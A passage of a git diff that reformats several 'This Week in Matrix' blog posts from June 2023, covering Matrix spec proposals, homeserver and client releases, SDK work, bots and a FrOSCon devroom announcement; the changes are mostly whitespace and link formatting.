BST)** +> * Before joining the call, please complete the [consent form](https://forms.gle/fsfQusuhWNZFhQvq5) +> * For questions use the matrix room: [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) ### Element X iOS @@ -159,7 +156,7 @@ The next generation of Element on iOS. [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says > We’re waving bye bye to another fun week in ElementX land. We kept ourselves entertained by: -> +> > * [Redesigning the delivery status](https://github.com/vector-im/element-x-ios/pull/931) > * Fixing bugs [here](https://github.com/vector-im/element-x-ios/pull/936) and [there](https://github.com/vector-im/element-x-ios/pull/940) and [everywhere](https://github.com/vector-im/element-x-ios/pull/945) > * [Adding the longed for bubble timestamps](https://github.com/vector-im/element-x-ios/pull/947) @@ -167,8 +164,6 @@ The next generation of Element on iOS. ## Dept of Non Chat Clients 🎛️ - - ### Circles ([website](https://circu.li/circles.html)) E2E encrypted social networking built on Matrix. Safe, private sharing for your friends, family, and community. @@ -176,22 +171,20 @@ E2E encrypted social networking built on Matrix. Safe, private sharing for your [cvwright](https://matrix.to/#/@cvwright:matrix.org) reports > [Circles](https://circu.li/circles.html) is an E2E encrypted social network app built on Matrix. -> +> > This week we are happy to announce a new beta build of Circles for Android. New in v1.0.11: -> +> > * Major compatibility fixes for cross-signing > * Improved support for UnifiedPush > * Use of Matrix threads for replies to top-level posts > * Bug fixes to enable switching accounts without logging out -> +> > The latest build is available in [our F-Droid beta repo](https://circu.li/fdroid/repo/) and in the [Google Play Store](https://play.google.com/store/apps/details?id=org.futo.circles). And for those who like to DIY, you can always grab the [APK](https://circu.li/fdroid/repo/app-fdroid-release-1_0_11.apk) directly and install it yourself. -> +> > Also new for this release is a [GitHub mirror](https://github.com/futo-org/circles-android) of the Circles Android source repo, for easier bug reporting. ## Dept of SDKs and Frameworks 🧰 - - ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) Next-gen crypto-included SDK for developing Clients, Bots and Appservices; written in Rust with bindings for Node, Swift and WASM @@ -199,23 +192,23 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Ivan 🦀](https://matrix.to/#/@mnt_io:matrix.org) reports > This week, new projects have started! -> +> > * A new crate has been created, `matrix-sdk-ui`, which is [the new home for the UI API](https://github.com/matrix-org/matrix-rust-sdk/pull/1931) the Matrix SDK provides, like `Timeline`, and `RoomList`. Developing this kind of UI API inside the Matrix SDK instead of the client side (e.g. ElementX iOS or Android or even Gnome Fractal) means it improves testability and quality greatly, as we can tweak the network layer more easily, and in depth. It also means that it boosts the productivity of developers that create new Matrix clients: no need to deal with synchronisation, room presentation, timeline, pagination etc., everything is managed automatically. -> * `RoomList` is a layer on top of `SlidingSync`. The work has started, and [the progress can be tracked in this meta issue](https://github.com/matrix-org/matrix-rust-sdk/issues/1911). To make it real, some improvements were necessary on the `SlidingSync` side, esp. being able [to change the sync-mode of an existing `SlidingSyncList`](https://github.com/matrix-org/matrix-rust-sdk/pull/1942), which led to [a nice revamping of the ranges API](https://github.com/matrix-org/matrix-rust-sdk/pull/1955). We are not mentioning many small clean ups ([1](https://github.com/matrix-org/matrix-rust-sdk/pull/1950), [2](https://github.com/matrix-org/matrix-rust-sdk/pull/1947), [3](https://github.com/matrix-org/matrix-rust-sdk/pull/1919), [4](https://github.com/matrix-org/matrix-rust-sdk/pull/1963) and so on). -> * Work has started to support [Sliding Sync sticky parameters properly](https://github.com/matrix-org/matrix-rust-sdk/pull/1948), -> * [Ruma has been upgraded](https://github.com/matrix-org/matrix-rust-sdk/pull/1975), notably to support the latest Matrix 1.7 features. +> * `RoomList` is a layer on top of `SlidingSync`. The work has started, and [the progress can be tracked in this meta issue](https://github.com/matrix-org/matrix-rust-sdk/issues/1911). To make it real, some improvements were necessary on the `SlidingSync` side, esp. being able [to change the sync-mode of an existing `SlidingSyncList`](https://github.com/matrix-org/matrix-rust-sdk/pull/1942), which led to [a nice revamping of the ranges API](https://github.com/matrix-org/matrix-rust-sdk/pull/1955). We are not mentioning many small clean ups ([1](https://github.com/matrix-org/matrix-rust-sdk/pull/1950), [2](https://github.com/matrix-org/matrix-rust-sdk/pull/1947), [3](https://github.com/matrix-org/matrix-rust-sdk/pull/1919), [4](https://github.com/matrix-org/matrix-rust-sdk/pull/1963) and so on). +> * Work has started to support [Sliding Sync sticky parameters properly](https://github.com/matrix-org/matrix-rust-sdk/pull/1948), +> * [Ruma has been upgraded](https://github.com/matrix-org/matrix-rust-sdk/pull/1975), notably to support the latest Matrix 1.7 features. > * In the Crypto land: -> * [User/device pairs who have invalid one-time keys are now timed out](https://github.com/matrix-org/matrix-rust-sdk/pull/1970), -> * [`VerificationRequest` has a new state when a request transitions](https://github.com/matrix-org/matrix-rust-sdk/pull/1939). `VerificationRequest` is used to control the flow of the verification but only up to a certain point. Once different specific verification flows are handled (i.e. SAS or QR Code), the `VerificationRequest` object creates a child object of the `Verification` type. The idea behind this patch is to add a new `VerificationRequestState` variant called `Transitioned` which holds the child verification object as associated data. This makes it much simpler to go through the whole verification flow by allowing users to just listen to the `VerificationRequest::changes()` method, -> * [The return of OTK fetching failures](https://github.com/matrix-org/matrix-rust-sdk/issues/281), -> * [Replace the `libolm` backup encryption code with a native Rust version](https://github.com/matrix-org/matrix-rust-sdk/pull/1944), which allow Wasm targets to use the `backups_v1` feature of `matrix-sdk-crypto`, -> * [Disable automatic-key-forwarding for the `matrix-sdk-ffi` bindings](https://github.com/matrix-org/matrix-rust-sdk/pull/1945), -> * [Better logs](https://github.com/matrix-org/matrix-rust-sdk/pull/1974). +> * [User/device pairs who have invalid one-time keys are now timed out](https://github.com/matrix-org/matrix-rust-sdk/pull/1970), +> * [`VerificationRequest` has a new state when a request transitions](https://github.com/matrix-org/matrix-rust-sdk/pull/1939). `VerificationRequest` is used to control the flow of the verification but only up to a certain point. Once different specific verification flows are handled (i.e. SAS or QR Code), the `VerificationRequest` object creates a child object of the `Verification` type. The idea behind this patch is to add a new `VerificationRequestState` variant called `Transitioned` which holds the child verification object as associated data. This makes it much simpler to go through the whole verification flow by allowing users to just listen to the `VerificationRequest::changes()` method, +> * [The return of OTK fetching failures](https://github.com/matrix-org/matrix-rust-sdk/issues/281), +> * [Replace the `libolm` backup encryption code with a native Rust version](https://github.com/matrix-org/matrix-rust-sdk/pull/1944), which allow Wasm targets to use the `backups_v1` feature of `matrix-sdk-crypto`, +> * [Disable automatic-key-forwarding for the `matrix-sdk-ffi` bindings](https://github.com/matrix-org/matrix-rust-sdk/pull/1945), +> * [Better logs](https://github.com/matrix-org/matrix-rust-sdk/pull/1974). > * In the Notification land, we need two sync loops instead of one (that controls them all), everything is described in [The Two Sync Loops](https://github.com/matrix-org/matrix-rust-sdk/issues/1928), with sub-issues [1](https://github.com/matrix-org/matrix-rust-sdk/issues/1961) and [2](https://github.com/matrix-org/matrix-rust-sdk/issues/1962), > * In the Media land, we are starting to support [media uploading progress](https://github.com/matrix-org/matrix-rust-sdk/issues/1968), > * In the Bindings land: -> * We are starting to deploy [UniFFI async support](https://github.com/matrix-org/matrix-rust-sdk/pull/1661), which was partly reverted for particular cases, but it works in general, -> * [Stop unconditionally enabling `native-tls` from `matrix-sdk-ffi`](https://github.com/matrix-org/matrix-rust-sdk/pull/1954), which led to compilation issue on Android architectures. +> * We are starting to deploy [UniFFI async support](https://github.com/matrix-org/matrix-rust-sdk/pull/1661), which was partly reverted for particular cases, but it works in general, +> * [Stop unconditionally enabling `native-tls` from `matrix-sdk-ffi`](https://github.com/matrix-org/matrix-rust-sdk/pull/1954), which led to compilation issue on Android architectures. ## That's all I know diff --git a/content/blog/2023/06/16-twim.md b/content/blog/2023/06/16-twim.md index 6abe9245e..490b033a5 100644 --- a/content/blog/2023/06/16-twim.md +++ b/content/blog/2023/06/16-twim.md @@ -8,61 +8,60 @@ author = ["Thib"] category = ["This Week in Matrix"] [extra] -image = "https://matrix.org/blog/img/matrix-logo.png" +image = "" +++ ## Matrix Live {{ youtube_player(video_id="kJPQc0QqVMg") }} - ## Dept of Spec 📜 [Andrew Morgan (anoa) [GMT-6]](https://matrix.to/#/@andrewm:element.io) reports > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . -> +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC4030: Progressive image in Matrix](https://github.com/matrix-org/matrix-spec-proposals/pull/4030) > * [MSC4029: \[WIP\] Fixing `X-Matrix` request authentication](https://github.com/matrix-org/matrix-spec-proposals/pull/4029) > * [MSC4028: Push all encrypted events except for muted rooms](https://github.com/matrix-org/matrix-spec-proposals/pull/4028) > * [MSC4027: Propose method of specifying custom images in reactions](https://github.com/matrix-org/matrix-spec-proposals/pull/4027) -> +> > **MSCs in Final Comment Period:** -> +> > * [MSC3989: Redact `origin` property on events](https://github.com/matrix-org/matrix-spec-proposals/pull/3989) (merge) > * [MSC3821: Update the redaction rules, again](https://github.com/matrix-org/matrix-spec-proposals/pull/3821) (merge) > * [MSC3077: Support for multi-stream VoIP](https://github.com/matrix-org/matrix-spec-proposals/pull/3077) (merge) -> +> > **Accepted MSCs:** -> +> > * [MSC4009: Expanding the Matrix ID grammar to enable E.164 IDs](https://github.com/matrix-org/matrix-spec-proposals/pull/4009) -> +> > **Closed MSCs:** -> +> > * _No MSCs were closed/rejected this week._ -> +> > ## Spec Updates -> +> > This actually happened last week, but a huge shoutout to Kévin Commaille, aka [@zecakeh](https://github.com/zecakeh), for [their work on upgrading the OpenAPI schema data](https://github.com/matrix-org/matrix-spec/pull/1310) for the Matrix Spec to version 3.1. This schema describes all of the requests and responses for all endpoints in the spec, as well as various event types and other bits and pieces. It directly powers the [Matrix spec website](https://spec.matrix.org/), the [Matrix API Playground](https://playground.matrix.org/#overview) and several Client and Homeserver SDKs that generate code from it. -> +> > With a diff of `+14,997 −12,660`, this was a multi-month effort of both implementation and review (thank you [@richvdh](https://github.com/richvdh) and [@KitsuneRal](https://github.com/KitsuneRal)!). This change will allow us to use all the new features that OpenAPI 3 has to offer, as well as generally keeps us up to date with modern tooling. -> +> > Thank you! -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3051: A scalable relation format](https://github.com/matrix-org/matrix-spec-proposals/pull/3051)! -> +> > This MSC describes a different way of describing how an event relates to other events. In the current Matrix spec, you can use [the `m.relates_to` property](https://spec.matrix.org/v1.7/client-server-api/#forming-relationships-between-events) to indicate that this event (say, a reaction) relates to another event (say, a message) in a certain manner. You can specify how it relates using the `m.relates_to->rel_type` key; a value of "m.annotation" for reactions. -> +> > But sometimes you may want to relate to multiple other events. For instance, what if that message you're reacting to is also in a thread? In fact, this MSC has come up recently as one possible way to solve the problem of efficiently discerning whether an event should belong in a thread or not ([discussion](https://github.com/matrix-org/matrix-spec-proposals/pull/4023#discussion_r1211964051)). This MSC isn't the only option for solving such a problem - [MSC4023](https://github.com/matrix-org/matrix-spec-proposals/pull/4023) would also work, and both have tradeoffs. -> +> > MSC3051 could also allows for actions such as editing replies; both the text and the message it was a reply to. Neat! -> +> > Do read the MSC and give feedback if relations is something that excites you. @@ -76,11 +75,11 @@ An open source Matrix homeserver implementation written from scratch in ANSI C a [Jordan Bancino](https://matrix.to/#/@jordan:bancino.net) reports > A Matrix homeserver written in ANSI C, targeting POSIX operating systems. -> +> > * **Telodendria v0.3.0:** `v0.3.0` was just released earlier this week. It finishes out the client authentication portion of the specification, including a few basic profile management endpoints. This release also features full TLS support and some major architectural changes to make the code base easier to work with, the details of which I laid out in a previous TWIM. > * **Cytoplasm:** A lot of the code that makes up Telodendria has been broken out into a separate C library for general-purpose use. I am calling this library **Cytoplasm**. At some point, it will live a life of its own, with its own website, releases, and Matrix rooms. But for now, it is still an integral part of Telodendria, so while it can be built and installed without Telodendria, you'll have to download the Telodendria source code to get it. > * **Coming Soon:** I think the main thing that has a lot of us really excited around here is that the next step for Telodendria is implementing rooms and events. I'm hoping that the next release, `v0.4.0`, due around the end of this year, will have all of the necessary components in place to allow very basic communication between local users. -> +> > As always, feel free to say hi in [#telodendria-general:bancino.net](https://matrix.to/#/#telodendria-general:bancino.net), and for more details, join [#telodendria-newsletter:bancino.net](https://matrix.to/#/#telodendria-newsletter:bancino.net) to read the full-length newsletters. If you want to support Telodendria, please [donate](https://telodendria.io/#donate) to the project. ### Synapse ([website](https://github.com/matrix-org/synapse/)) @@ -90,11 +89,12 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) announces > This week we released 1.86.0rc2. Here are a few of the highlights: +> > * Support resolving a room's [canonical alias](https://spec.matrix.org/v1.7/client-server-api/#mroomcanonical_alias) via the module API > * Speed up `/messages` by backfilling in the background when there are no backward extremities where we are directly paginating > * Correctly clear caches when we delete a room > * Enable support for [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952): intentional mentions -> +> > and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.82.0) and as always, if you encounter a bug feel free to report it at . ## Dept of Clients 📱 @@ -106,6 +106,7 @@ A client for matrix, the decentralized communication protocol [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) says > Here's what's happened in the last three weeks of NeoChat development: +> > * You can now create spaces in NeoChat. You can't edit them yet, but it's a start 😀. > * NeoChat will no longer show outdated notifications. > * As part of the matrixification of [Itinerary](https://apps.kde.org/itinerary/) (stay tuned for more info about that), Volker implemented support for viewing MSC3489 Live Location Shares. @@ -117,27 +118,27 @@ Matrix client for Emacs [alphapapa](https://matrix.to/#/@alphapapa:matrix.org) says > TWIM: [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for the [GNU Emacs](https://www.gnu.org/software/emacs/) text editor and Lisp machine, has been released at v0.10. Changes include: -> +> > **Security Fixes** -> +> > * When uploading a GPG-encrypted file (i.e. one whose filename ends in `.gpg`), if the recipient's private key or the symmetric encryption key were cached by Emacs (or a configured agent, like `gpg-agent`), Emacs would automatically decrypt the file while reading its contents and then upload the decrypted contents. (This happened because the function `insert-file-contents` was used, which does many things automatically, some of which are not even mentioned in its docstring; refer to its entry in the Elisp Info manual for details. The fix is to use `insert-file-contents-literally` instead.) Thanks to `@welkinsl:matrix.org` for reporting. -> +> > **Additions** -> +> > * Support for Single Sign-On (SSO) authentication. ([#24](https://github.com/alphapapa/ement.el/issues/24). Thanks to [Jeffrey Stoffers](https://github.com/Necronian) for development, and to [Phil Sainty](https://github.com/phil-s), [Jakub Kadlčík](https://github.com/FrostyX), and [Juanjo Presa](https://github.com/oneingan) for testing.) > * Bind `m` in room buffers to `ement-room-mark-read` (which moves read markers to point). -> +> > **Changes** -> +> > * Activating a space in the room list uses `ement-view-space` (which shows a directory of rooms in the space) instead of `ement-view-room` (which shows events in the space, which is generally not useful). > * Command `ement-view-room`, when used for a space, shows a footer explaining that the buffer is showing a space rather than a normal room, with a button to call `ement-view-space` for it (which lists rooms in the space). > * Command `ement-describe-room` shows whether a room is a space or a normal room. > * Command `ement-view-space` shows the space's name and alias. > * Command `ement-room-scroll-up-mark-read` moves the fully read marker to the top of the window (when the marker's position is within the range of known events), rather than only moving it when at the end of the buffer. (This eases the process of gradually reading a long backlog of messages.) > * Improve readme export settings. -> +> > **Fixes** -> +> > * Extra indentation of some membership events. (Thanks to [Steven Allen](https://github.com/Stebalien).) > * Customization group for faces. > * Don't reinitialize `ement-room-list-mode` when room list buffer is refreshed. ([#146](https://github.com/alphapapa/ement.el/issues/146). Thanks to [Ted Reed](https://github.com/treed) for reporting.) @@ -145,7 +146,7 @@ Matrix client for Emacs > * Minor improvements to auto-detection of homeserver URIs. (See [#24](https://github.com/alphapapa/ement.el/issues/24#issuecomment-1569518713). Thanks to [Phil Sainty](https://github.com/phil-s).) > * Uploading of certain filetypes (e.g. Emacs would decompress some archives before uploading). Thanks to `@welkinsl:matrix.org` for reporting. > * Messages edited multiple times sometimes weren't correctly replaced. -> +> > Feel free to join us in the chat room, [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org). ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -204,21 +205,30 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [imbev](https://matrix.to/#/@imbev:matrix.org) announces > ### [v2.9.0](https://codeberg.org/imbev/simplematrixbotlib/src/tag/v2.8.0) -> -> ### Notes: +> +> ### Notes +> > * Improvements :) -> ### Additions: +> +> ### Additions +> > * Add sending of reactions > * Add recovery if stored access token is invalid > * Show proper error message when connection fails +> > ### Modifications +> > * Improve api docs > * Fix circular import bug > * Update matrix-nio dependency to 0.20 > * Update pillow dependency to 9.0 -> ### Removals: +> +> ### Removals +> > * None +> > ### Deprecations +> > * None ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -247,9 +257,10 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [LoaD Accumulator](https://matrix.to/#/@devhonk:envs.net) announces > For a while, I and a couple of other people have been working and testing on a bot to parse LaTeX and LilyPond expressions. This allows people on clients like Nheko to send and see math equations on LaTeX(and even more, like custom packages, and TikZ support) and sheet music with LilyPond, both on normal, and encrypted rooms! -> +> > Check out the code(and maybe host your own): (mirror), (original) -> +> +> > ![](/blog/img/e67c93d8a829055b8cb9141ecbd2b59ca35a4c3d.png) ### maubot ([website](https://github.com/maubot/maubot)) @@ -259,12 +270,12 @@ A plugin-based Matrix bot system. [wreck](https://matrix.to/#/@wreck:matrix.org) announces > I have written a handful of Maubot plugins which help me manage my private community on matrix, and figured I could share them a little more publicly with the world: -> +> > [maubot-welcome](https://github.com/williamkray/maubot-welcome) is a greeter bot for when new users join a room, and can optionally alert admins in a separate notification room that someone new has joined. > [maubot-createroom](https://github.com/williamkray/maubot-createroom) allows admins to issue a simple command to create a new room and automatically connect it to a Space, saving you the trouble of configuring it with default settings manually. > [maubot-join](https://github.com/williamkray/maubot-join) is a helpful plugin that allows you to turn off Maubot's auto-join feature, and rest assured that only a known list of users can invite your maubot to any new rooms. > [maubot-kickbot](https://github.com/williamkray/maubot-kickbot) will watch activity within the rooms in a Space and generate a report of inactive users. If you make your bot a moderator (or whatever your appropriate power-level is), the bot can also kick inactive users out of all rooms in the space and the space itself. Helpful for tidying up your community. -> +> > all of these plugins, and any other Maubot plugin I come across, can be found in a hopefully-easy-to-use list at . Please feel free to submit more that aren't here! ### flip-matrix-bot ([website](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot)) @@ -274,9 +285,9 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [HER0](https://matrix.to/#/@HER0:matrix.org) announces > Hey, I haven't updated here in a while! Shortly after my last update, I did some refactoring work that made the code a little nicer and more testable, then added some more unit tests in, along with implementing CI. After this, I took a bit of a break from working on the bot. -> +> > Earlier this week, I implemented an idea suggested by a community member and contributor to the bot: users joining our main Matrix room (#flip:flip.earth ) are now greeted by the bot. This includes a random prompt/ice breaker to help get the conversation going. The first two times this was triggered, it spurred a bunch of conversation, so I'm pretty happy with it so far! -> +> > On the website side, the [events page](https://friendlylinuxplayers.org/events) now lists the next upcoming event at the top. Outside of our development work, several FLiP community members participated in a Q&A session with GitLab, resulting in the following blog post (published last month): [Building a more inclusive gaming community with GitLab](https://about.gitlab.com/blog/2023/05/15/building-inclusive-gaming-community-gitlab/). ## Dept of Events and Talks 🗣️ @@ -286,59 +297,59 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [Oleg](https://matrix.to/#/@oleg:fiksel.info) announces > On **August 05-06** the annual **Fr**ee and **O**pen **S**ource **Con**ference (short [FrOSCon](https://www.froscon.de)) will take place at the German University of applied Sciences Bonn Rhine Sieg. -> +> > As German Matrix community grown rapidly in the last years, this is a great opportunity to meet each other and hack together. -> +> > ### Matrix Dev Room -> +> > We will be organizing a Devroom this year. The idea is to exchange on the latest Matrix development and projects, get to know each other and drink `` together on the Saturday evening. 😉 -> -> ### To make it happen we need your help! -> -> #### Devroom is living from talks and workshops - this is your chance to present your Matrix project or to do a workshop on Matrix! -> +> +> ### To make it happen we need your help +> +> #### Devroom is living from talks and workshops - this is your chance to present your Matrix project or to do a workshop on Matrix +> > * Language: German or English > * Due date: **please give us feedback ASAP so we can plan now** -> +> > Also help in organizing the Devroom (moderation, timekeeping, etc) is needed. -> +> > ### Matrix Open Source booth -> +> > It was a great place to chit-chat and to get your in-depth answers regarding Matrix at FOSDEM this year. 👍️ -> +> > We will have a Matrix booth at FrOSCon as well. -> -> **We need your support in answering questions about Matrix or just to have a good time at the booth.** If you have experience with Matrix and want to help us out at the booth - get in touch with us! -> +> +> **We need your support in answering questions about Matrix or just to have a good time at the booth.** If you have experience with Matrix and want to help us out at the booth - get in touch with us! +> > ### Get in touch -> -> #### If you want to take part please contact [@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info) (or oleg@fiksel.info) ASAP to add you to the Devroom/booth participants list. -> +> +> #### If you want to take part please contact [@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info) (or ) ASAP to add you to the Devroom/booth participants list +> > BTW: we also have a [Matrix FrOSCon room](https://matrix.to/#/#FrOSCon:fiksel.info) -> +> > --- -> +> > # German -> +> > # Matrix auf der FrOSCon dies Jahr -> +> > Dieses Jahr wird die [FrOSCon](https://www.froscon.de) (**Fr**ee and **O**pen **S**ource **Con**ference) in-person ablaufen. -> +> > Das ist eine gute Möglichkeit die Deutsche Matrix-Community zusammen zu bringen. -> +> > Deshalb organisieren wir eine Devroom und ein Matrix-Stand. -> +> > Eine Devroom lebt von Vorträgen und Workshops. -> -> ### Wir brauchen eure Hilfe! -> +> +> ## Wir brauchen eure Hilfe +> > Wollt ihr euer Matrix-Projekt vorstellen oder ein Workshop machen - das ist die Möglichkeit! -> +> > Auch brauchen wir Hilfe beim Moderieren vom Devroom. -> +> > Beim Matrix-Stand werden wir auch Unterstützung brauchen. -> -> Wenn ihr interessiert seid kontaktiert mich ([@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info) oder oleg@fiksel.info) bitte umgehend, damit wir kurzfristig einen Plan machen können. +> +> Wenn ihr interessiert seid kontaktiert mich ([@oleg:fiksel.info](https://matrix.to/#/@oleg:fiksel.info) oder ) bitte umgehend, damit wir kurzfristig einen Plan machen können. ## Dept of Guides 🧭 @@ -353,6 +364,7 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -369,6 +381,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|nerdhouse.io|7082| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/06/2023-06-02-this-week-in-matrix-2023-06-02.md b/content/blog/2023/06/2023-06-02-this-week-in-matrix-2023-06-02.md index eca3758b4..43f07401e 100644 --- a/content/blog/2023/06/2023-06-02-this-week-in-matrix-2023-06-02.md +++ b/content/blog/2023/06/2023-06-02-this-week-in-matrix-2023-06-02.md @@ -15,61 +15,60 @@ image = "https://matrix.org/blog/img/matrix-logo.png" {{ youtube_player(video_id="ULbvBIwiGEI") }} - ## Dept of Spec 📜 [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC4025: Local user erasure requests](https://github.com/matrix-org/matrix-spec-proposals/pull/4025) > * [MSC4023: Thread ID for 2nd order-relation](https://github.com/matrix-org/matrix-spec-proposals/pull/4023) > * [MSC4021: Archive client controls](https://github.com/matrix-org/matrix-spec-proposals/pull/4021) -> +> > **MSCs in Final Comment Period:** -> +> > * _No MSCs are in FCP._ -> +> > **Accepted MSCs:** -> +> > * _No MSCs were accepted this week._ -> +> > **Closed MSCs:** -> +> > * [MSC3523: Timeboxed/ranged relations endpoint](https://github.com/matrix-org/matrix-spec-proposals/pull/3523) -> +> > ## Spec Updates -> +> > Part of the SCT's goals with Matrix 1.8 is to pre-plan the majority of our review attention, which means we need to be told what folks are working on to plan accordingly. We'll still have some room for random/surprise MSC work, but this is expected to be harder to acquire going forward (and so should not be relied upon). -> +> > Please let us know if you're working on something which affects the spec! We want to hear about: -> +> > * things that aren't MSCs (yet) > * things that are MSCs but aren't planned to be merged in 1.8 > * MSCs which are expected to be ready in time for Matrix 1.8 (in ~2 months) -> +> > If you aren't sure if your project affects the spec, talk to us about it. We do not want to be the bottleneck in your development cycle, instead preferring to know ahead of time that something will need attention from us. -> +> > All we need is for you to mention your project/MSC and timeline in the [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org) - DMs and private rooms with SCT members are not enough to get something on the roadmap. This is to ensure there is full transparency in why the SCT is looking at something, and to ensure that the MSC moves through the process in an efficient manner. If your project has a sensitive context (commercial or otherwise), then we ask that you reference that here and someone from the team will contact you to get more information, relaying as much (non-sensitive) detail as possible back to the room here. -> +> > Our expected outcome for this system is to not only be a more effective team, but also to give you a faster/more reasonable turnaround on MSC review (at all stages), more rapid deployment of stable features (dropping unstable prefixes), and overall fewer review iterations as the SCT can think about problems ahead of you actually needing a review. We seriously do not want to be a blocker, but we need to know what we could end up blocking by accident. -> +> > Starting approximately August 1st, we will be starting to plan out what Matrix 1.9's release cycle will look like. A similar call to action will be raised at that point. Note that Matrix 1.8 is set to be released in late August, meaning we're aiming to have Matrix 1.9 thought out before Matrix 1.8 is released, which is a deliberately accelerated timeline than the current Matrix 1.8 release cycle planning. -> +> > As always, if you have any questions about this, please let us know in [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org). -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3869: Read event relations with the Widget API](https://github.com/matrix-org/matrix-spec-proposals/pull/3869)! -> +> > This MSC would allow Matrix Widgets, knowing an event ID, to request any and all other events that relate to it. Thus, if you had a `m.room.message` event, you could ask the client whether any edits have been made to that event, via asking for `m.room.message` events with `m.replace` relations. -> +> > This would be useful for Widgets to traverse any data structure that used relations to tie together events - which could model all sorts of use cases! -> +> > As always, leave your feedback on the MSC if this is something you're interested in or want to push forwards :) @@ -83,12 +82,12 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) reports > It's Friday which means it's time for another TWIM. This week the backend team released Synapse v1.85.0rc2. Notable highlights include: -> +> > * Fix a performance issue introduced in Synapse v1.83.0 which meant that purging rooms was very slow and database-intensive -> * Improve performance of backfill requests by performing backfill of previously failed requests in the background. -> * Fix a long-standing bug where setting the read marker could fail when using message retention +> * Improve performance of backfill requests by performing backfill of previously failed requests in the background. +> * Fix a long-standing bug where setting the read marker could fail when using message retention > * Fix a long-standing bug where deactivated users were still able to login using the custom `org.matrix.login.jwt` login type (if enabled) -> +> > And so much more! To read about everything in the release, take a look at the release notes [here](https://github.com/matrix-org/synapse/releases) and otherwise have a great week. ## Dept of Clients 📱 @@ -97,8 +96,8 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Krille-chan](https://matrix.to/#/@krille:janian.de) reports -> In FluffyChat we are still working on finishing the new release and polish the new html message rendering. We are nearly done and are also fixing our CI configuration so that all platforms receive the release without further problems (hopefully :D). Beside of that there is a nice merge request from @theonewiththebraid for animated emojis. For more information click here: https://gitlab.com/famedly/fluffychat/-/merge_requests/1124 (also contains a video) I really like it but before merging I would like to find a way how we can reduce the app size first. -> +> In FluffyChat we are still working on finishing the new release and polish the new html message rendering. We are nearly done and are also fixing our CI configuration so that all platforms receive the release without further problems (hopefully :D). Beside of that there is a nice merge request from @theonewiththebraid for animated emojis. For more information click here: (also contains a video) I really like it but before merging I would like to find a way how we can reduce the app size first. +> > Stay tuned <3 ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -107,9 +106,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Johannes Marbach](https://matrix.to/#/@johannesm:element.io) announces -> * Work on stuck notifications continues and we think we've been able to [unblock](https://github.com/matrix-org/matrix-js-sdk/pull/3427) the release scheduled for next week and are preparing the necessary [spec changes](https://github.com/matrix-org/matrix-spec-proposals/pull/4023). The overall status is tracked in [vector-im/element-web#24392](https://github.com/vector-im/element-web/issues/24392). -> * We've completed testing for our [intentional mentions](http://kv) and design review for the notification settings update. Getting close now as we've started discussing rollout strategies. -> * We started putting together a [plan](https://github.com/vector-im/element-web/issues/25486) for integrating Compound, our new design system, into Element Web. Watch this space for more updates in the near future. +> * Work on stuck notifications continues and we think we've been able to [unblock](https://github.com/matrix-org/matrix-js-sdk/pull/3427) the release scheduled for next week and are preparing the necessary [spec changes](https://github.com/matrix-org/matrix-spec-proposals/pull/4023). The overall status is tracked in [vector-im/element-web#24392](https://github.com/vector-im/element-web/issues/24392). +> * We've completed testing for our [intentional mentions](http://kv) and design review for the notification settings update. Getting close now as we've started discussing rollout strategies. +> * We started putting together a [plan](https://github.com/vector-im/element-web/issues/25486) for integrating Compound, our new design system, 